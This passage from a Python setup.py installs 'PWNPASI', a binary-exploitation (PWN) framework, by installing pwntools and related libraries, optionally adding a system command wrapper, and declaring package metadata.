and pkg.startswith('pwntools') and os.path.exists('/etc/debian_version'): try: subprocess.run(['sudo', 'apt', 'install', '-y', 'python3-pwntools'], check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) print_status('success', f"{desc} installed via apt") success = True except subprocess.CalledProcessError: print_status('warning', f"APT install failed for pwntools") if not success: print_status('error', f"All installation methods failed for {pkg}") print_status('info', f"Please manually install {pkg} using:") print(f" {Colors.YELLOW}sudo apt install python3-dev build-essential{Colors.END}") print(f" {Colors.YELLOW}pip3 install {pkg}{Colors.END}") # Don't exit, continue with other packages continue def main(): print_banner() print_status('info', f"Initializing PWNPASI setup environment...") time.sleep(0.5) if os.name == 'posix' and os.geteuid() != 0: print_status('warning', "System package installation may require sudo privileges") print_status('info', "You may be prompted for your password") print() # System dependencies print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}") print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END} {Colors.CYAN}SYSTEM DEPENDENCIES PHASE{Colors.END} {Colors.BOLD}{Colors.BLUE}║{Colors.END}") print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}") install_system_dependencies() # Python dependencies print(f"\n{Colors.BOLD}{Colors.BLUE}╔═══════════════════════════════════════╗{Colors.END}") print(f"{Colors.BOLD}{Colors.BLUE}║{Colors.END} {Colors.CYAN}PYTHON DEPENDENCIES PHASE{Colors.END} {Colors.BOLD}{Colors.BLUE}║{Colors.END}") print(f"{Colors.BOLD}{Colors.BLUE}╚═══════════════════════════════════════╝{Colors.END}") install_python_dependencies() # Completion print(f"\n{Colors.BOLD}{Colors.GREEN}╔═══════════════════════════════════════╗{Colors.END}") print(f"{Colors.BOLD}{Colors.GREEN}║{Colors.END} {Colors.WHITE}INSTALLATION COMPLETE{Colors.END} {Colors.BOLD}{Colors.GREEN}║{Colors.END}") print(f"{Colors.BOLD}{Colors.GREEN}╚═══════════════════════════════════════╝{Colors.END}") print_status('success', f"PWNPASI framework successfully installed!") print_status('info', f"Ready for advanced PWN exploitation") print(f"\n{Colors.CYAN} Usage: {Colors.WHITE}python pwnpasi.py -l {Colors.END}") print(f"{Colors.CYAN} Help: {Colors.WHITE}python pwnpasi.py --help{Colors.END}\n") def setup_system_command(): """Setup pwnpasi as a system command""" import shutil import stat # Get current script path current_dir = os.path.dirname(os.path.abspath(__file__)) pwnpasi_script = os.path.join(current_dir, 'pwnpasi.py') # Determine system bin directory if os.name == 'posix': # Linux/macOS bin_dirs = ['/usr/local/bin', '/usr/bin'] target_name = 'pwnpasi' else: # Windows # For Windows, we'll add to Python Scripts directory import sys scripts_dir = os.path.join(os.path.dirname(sys.executable), 'Scripts') bin_dirs = [scripts_dir] if os.path.exists(scripts_dir) else [] target_name = 'pwnpasi.py' # Find writable bin directory target_dir = None for bin_dir in bin_dirs: if os.path.exists(bin_dir) and os.access(bin_dir, os.W_OK): target_dir = bin_dir break if not target_dir: print_status('warning', "No writable system directory found, trying with sudo...") target_dir = bin_dirs[0] if bin_dirs else '/usr/local/bin' target_path = os.path.join(target_dir, target_name) try: # Copy script to system directory print_status('process', f"Installing pwnpasi to {target_path}...") if os.name == 'posix': # For Linux/macOS, create a wrapper script wrapper_content = f"#!/usr/bin/env python3\n# PWNPASI System Command Wrapper\nimport sys\nimport os\nsys.path.insert(0, '{current_dir}')\nfrom pwnpasi import main\nif __name__ == '__main__':\n main()\n" # Try to write directly first try: with open(target_path, 'w') as f: f.write(wrapper_content) os.chmod(target_path, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH) except PermissionError: # Use sudo if needed import tempfile with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.py') as tmp: tmp.write(wrapper_content) tmp_path = tmp.name run_command(['sudo', 'cp', tmp_path, target_path], f"Failed to install to {target_path}") run_command(['sudo', 'chmod', '+x', target_path], f"Failed to set permissions for {target_path}") os.unlink(tmp_path) else: # For Windows, copy the script directly shutil.copy2(pwnpasi_script, target_path) print_status('success', f"PWNPASI installed as system command: {target_name}") print_status('info', f"You can now run 'pwnpasi' from anywhere in the terminal") # Add to PATH if needed (Windows) if os.name == 'nt' and target_dir not in os.environ.get('PATH', '').split(os.pathsep): print_status('info', f"Add {target_dir} to your PATH environment variable for global access") except Exception as e: print_status('error', f"Failed to install system command: {str(e)}") print_status('info', "You can still run pwnpasi using: python pwnpasi.py") if __name__ == '__main__': main() # Ask user if they want to install as system command print(f"\n{Colors.CYAN}╔═══════════════════════════════════════╗{Colors.END}") print(f"{Colors.CYAN}║{Colors.END} {Colors.YELLOW}SYSTEM COMMAND SETUP{Colors.END} {Colors.CYAN}║{Colors.END}") print(f"{Colors.CYAN}╚═══════════════════════════════════════╝{Colors.END}") response = input(f"{Colors.CYAN}[◉]{Colors.END} Install pwnpasi as system command? (y/N): ").strip().lower() if response in ['y', 'yes']: setup_system_command() else: print_status('info', "Skipped system command installation") print_status('info', "Run 'python setup.py' again and choose 'y' to install later") else: setup( name="pwnpasi", version="3.0.0", description="Advanced PWN Exploitation Framework", author="Ba1_Ma0", packages=find_packages(), install_requires=[ 'pwntools>=4.9.0', 'LibcSearcher>=1.1.5', 'ropper>=1.13.5' ], python_requires='>=3.8', entry_points={ 'console_scripts': [ 'pwnpasi=pwnpasi:main', ], }, scripts=['pwnpasi.py'], )